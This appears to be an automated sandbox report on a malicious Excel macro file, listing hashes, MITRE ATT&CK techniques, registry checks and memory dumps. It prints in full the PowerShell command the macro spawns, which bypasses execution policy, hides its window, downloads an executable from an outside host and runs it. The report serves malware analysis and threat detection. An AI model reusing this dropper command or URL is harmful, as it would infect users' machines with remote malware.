81e82ca86ebdac978dffeb26fbea7c54ce708b0346f465316234145f23d75372

General

Target

7d44686ad010e6c6a56a9c1762667b7d_JaffaCakes118.xlsm
Size

596KB
MD5

7d44686ad010e6c6a56a9c1762667b7d
SHA1

defcebe402ac31697d3c210f8396fc10b7556cf4
SHA256

81e82ca86ebdac978dffeb26fbea7c54ce708b0346f465316234145f23d75372
SHA512

573f7b05cb08e403ef52a3da5bfa6058f342b5f1bea750df3e3e65a8e271bfeb54520d6a7259fe953d3a40591e142bde69360721c77ec4eb2488f3779d22ea9a
SSDEEP

12288:ZLW+FnvexqD0SoENuJUDcrnGMOAiKe6EbMVLD:ZC+Fn2QDpuJUDcCMOAiEEsD

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://mcma1.com/greatness.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3376	4612	powershell.exe	80

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	3376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3376	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4612	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE
4612	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 3376	4612	EXCEL.EXE	83
PID 4612 wrote to memory of 3376	4612	EXCEL.EXE	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7d44686ad010e6c6a56a9c1762667b7d_JaffaCakes118.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://mcma1.com/greatness.exe',$env:Temp+'\newfile.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\newfile.Exe')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkmw2lxw.llo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3376-64-0x000002907F240000-0x000002907F262000-memory.dmp

Filesize
136KB

Download
memory/4612-7-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-2-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-4-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-15-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-1-0x00007FFAF11CD000-0x00007FFAF11CE000-memory.dmp

Filesize
4KB

Download
memory/4612-14-0x00007FFAAEC70000-0x00007FFAAEC80000-memory.dmp

Filesize
64KB

Download
memory/4612-9-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-0-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-11-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-10-0x00007FFAAEC70000-0x00007FFAAEC80000-memory.dmp

Filesize
64KB

Download
memory/4612-12-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-16-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-17-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-18-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-20-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-21-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-99-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-5-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-8-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-13-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-47-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-49-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-48-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-46-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-6-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-3-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-75-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-76-0x00007FFAF11CD000-0x00007FFAF11CE000-memory.dmp

Filesize
4KB

Download
memory/4612-77-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-78-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-97-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-98-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-100-0x00007FFAB11B0000-0x00007FFAB11C0000-memory.dmp

Filesize
64KB

Download
memory/4612-19-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download
memory/4612-101-0x00007FFAF1130000-0x00007FFAF1325000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads